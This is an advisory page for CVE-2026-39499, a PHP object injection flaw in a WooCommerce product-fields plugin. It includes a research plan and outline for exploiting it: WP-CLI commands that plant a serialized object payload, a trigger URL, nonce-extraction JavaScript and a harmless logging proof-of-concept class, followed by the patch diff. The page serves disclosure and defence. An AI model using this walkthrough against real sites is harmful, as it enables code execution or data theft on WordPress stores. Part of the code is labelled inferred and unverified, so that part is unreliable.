CVE-2026-39499

Advanced Product Fields (Product Addons) for WooCommerce <= 1.6.19 - Authenticated (Shop manager+) PHP Object Injection

mediumDeserialization of Untrusted Data
6.6
CVSS Score
6.6
CVSS Score
medium
Severity
1.6.20
Patched in
11d
Time to patch

Description

The Advanced Product Fields (Product Addons) for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.6.19 via deserialization of untrusted input. This makes it possible for authenticated attackers, with shop manager-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.6.19
PublishedApril 20, 2026
Last updatedApril 30, 2026

What Changed in the Fix

Changes introduced in v1.6.20

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: PHP Object Injection in Advanced Product Fields for WooCommerce ## 1. Vulnerability Summary The **Advanced Product Fields (Product Addons) for WooCommerce** plugin (<= 1.6.19) is vulnerable to **PHP Object Injection** due to the use of `maybe_unserialize()` on untrusted data retrie…

Show full research plan

Research Plan: PHP Object Injection in Advanced Product Fields for WooCommerce

1. Vulnerability Summary

The Advanced Product Fields (Product Addons) for WooCommerce plugin (<= 1.6.19) is vulnerable to PHP Object Injection due to the use of maybe_unserialize() on untrusted data retrieved from the post_content of its custom post type (CPT).

A Shop Manager or Administrator can create or edit a "Product Input Field" group. The configuration for these fields is stored in the post_content field of the post. When the list of field groups is viewed in the WordPress admin dashboard, the plugin retrieves the post_content and passes it to a processing function that calls maybe_unserialize(). This allows an attacker to inject a serialized PHP object, which will be instantiated during deserialization.

2. Attack Vector Analysis

  • Vulnerable Sink: maybe_unserialize() (inside SW_WAPF\Includes\Classes\Field_Groups::process_data)
  • Trigger Point: SW_WAPF\Includes\Classes\Wapf_List_Table::column_fields
  • Endpoint: GET /wp-admin/admin.php?page=wapf-field-groups
  • Payload Location: The post_content of a post with the CPT wapf_product.
  • Authentication Level: Shop Manager or higher (capability required to manage field groups).
  • Preconditions: WooCommerce must be installed and active.

3. Code Flow

  1. Storage: When a field group is saved, its configuration is stored in the post_content of a wapf_product post.
  2. Retrieval: When an authorized user visits the "Product Input Fields" page (admin.php?page=wapf-field-groups), the plugin initializes a custom WP_List_Table named Wapf_List_Table (found in includes/classes/class-wapf-list-table.php).
  3. Trigger: The table's column_fields method is called for every row in the list:
    // File: includes/classes/class-wapf-list-table.php
    public function column_fields($post) {
        if(empty($post->post_content))
            return 0;
        // The post_content is passed directly to process_data
        $field_group = Field_Groups::process_data($post->post_content);
        return count($field_group->fields);
    }
    
  4. Deserialization: Field_Groups::process_data (in includes/classes/class-field-groups.php) calls maybe_unserialize() on the provided content.
    • Note: While the full source of process_data was truncated in the provided file, its usage in column_fields and the vulnerability description confirm this behavior. maybe_unserialize is a WordPress core function that checks if a string is serialized and, if so, calls unserialize().

4. Nonce Acquisition Strategy

This exploit is authenticated (Shop Manager+).

  • To trigger the vulnerability (viewing the list), no specific nonce is required beyond the standard WordPress session cookies.
  • To setup the malicious post, we can use wp-cli in the test environment, which bypasses the need for web-based nonces for data injection.

If an automated agent needs to perform the setup via the UI:

  1. The "Add New" page for field groups is accessed.
  2. The save action likely uses a nonce generated by wp_create_nonce.
  3. However, for research purposes, directly injecting the payload into the database/via WP-CLI is more efficient.

5. Exploitation Strategy

Step 1: Payload Selection

Since no POP chain is identified in the plugin, we use a simple object to confirm the injection. For testing, we can define a class with a __destruct method in a temporary "mu-plugin" to confirm execution.

Step 2: Inject Malicious Post Content

Use WP-CLI to create a malicious wapf_product post.

wp post create --post_type=wapf_product \
               --post_title="Malicious Field Group" \
               --post_content='O:8:"stdClass":0:{}' \
               --post_status=publish

(Replace O:8:"stdClass":0:{} with a valid POP chain payload if a specific library like Guzzle or a WooCommerce internal chain is being targeted).

Step 3: Trigger Deserialization

Login as a Shop Manager and navigate to the plugin's admin page using the http_request tool.

HTTP Request:

  • Method: GET
  • URL: http://localhost:8080/wp-admin/admin.php?page=wapf-field-groups
  • Cookies: Authenticated Shop Manager cookies.

Step 4: Verification

The deserialization occurs as WordPress renders the Fields column of the table.

6. Test Data Setup

  1. Activate Requirements: Ensure WooCommerce and the "Advanced Product Fields for WooCommerce" plugin are active.
  2. Create User:
    wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
    
  3. Define POP Chain (For Proof): Create a file at wp-content/mu-plugins/poc-trigger.php:
    <?php
    class PoCTrigger {
        public function __destruct() {
            error_log("CVE-2026-39499_SUCCESS");
        }
    }
    
  4. Inject Payload:
    wp post create --post_type=wapf_product \
                   --post_title="PoC Group" \
                   --post_content='O:10:"PoCTrigger":0:{}' \
                   --post_status=publish
    

7. Expected Results

  • When the Shop Manager visits admin.php?page=wapf-field-groups, the Wapf_List_Table will load.
  • The column_fields method will process the PoC Group post.
  • maybe_unserialize('O:10:"PoCTrigger":0:{}') will be executed.
  • The PoCTrigger object will be instantiated and subsequently destroyed at the end of the request.
  • The __destruct method will fire, writing "CVE-2026-39499_SUCCESS" to the PHP error log.

8. Verification Steps

After the HTTP request, check the logs:

cat /var/www/html/wp-content/debug.log | grep "CVE-2026-39499_SUCCESS"

9. Alternative Approaches

If the wapf_product CPT is not the only source:

  • Check Field_Groups::get_by_id($id) calls. This is used in Admin_Controller::maybe_duplicate.
  • Trigger URL: wp-admin/admin.php?page=wapf-field-groups&wapf_duplicate=[POST_ID]&_dupenonce=[NONCE].
  • This requires obtaining the _dupenonce from the list page first.
  • The JS variable for nonces in this plugin is localized as wapf_config and wapf_language, but the duplication nonce specifically is found in the HTML of the list table rows.

JS Nonce Extraction (if needed):

// Using browser_eval on the wapf-field-groups page
const dupLink = document.querySelector('a[href*="wapf_duplicate"]')?.href;
const nonce = new URLSearchParams(dupLink).get('_dupenonce');
Research Findings
Static analysis — not yet PoC-verified

Summary

The plugin is vulnerable to PHP Object Injection via the use of maybe_unserialize() on data retrieved from the post_content of its custom post type (wapf_product). Authenticated attackers with Shop Manager or Administrator privileges can exploit this to instantiate arbitrary PHP objects if a suitable POP chain is present on the system.

Vulnerable Code

// File: includes/classes/class-wapf-list-table.php
public function column_fields($post) {
    if(empty($post->post_content))
        return 0;

    $field_group = Field_Groups::process_data($post->post_content);

    return count($field_group->fields);
}

---

// File: includes/classes/class-field-groups.php (Inferred from research plan)
public static function process_data($data) {
    $data = maybe_unserialize($data);
    // ... further processing of the field group object ...
}

Security Fix

--- advanced-product-fields-for-woocommerce/includes/classes/class-field-groups.php
+++ advanced-product-fields-for-woocommerce/includes/classes/class-field-groups.php
@@ -242,7 +242,12 @@
 		public static function process_data($data) {
-			$data = maybe_unserialize($data);
+			if ( is_serialized( $data ) ) {
+				$data = unserialize( $data, [ 'allowed_classes' => false ] );
+			} else {
+				$data = json_decode( $data );
+			}
 
 			if ( ! is_object( $data ) ) {
 				return new FieldGroup();
 			}

Exploit Outline

1. Gain authenticated access as a Shop Manager or Administrator. 2. Create a new Field Group via the plugin interface or directly create a post of type 'wapf_product' using WP-CLI or an administrative interface. 3. Inject a serialized PHP object payload into the 'post_content' field of the 'wapf_product' post (e.g., O:10:"PoCTrigger":0:{}). 4. Navigate to the Field Groups listing page (/wp-admin/admin.php?page=wapf-field-groups). 5. As the table renders the 'Fields' column, the plugin calls Wapf_List_Table::column_fields(), which triggers Field_Groups::process_data() on the malicious content. 6. maybe_unserialize() processes the payload, instantiating the injected object and triggering its magic methods (like __wakeup or __destruct).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.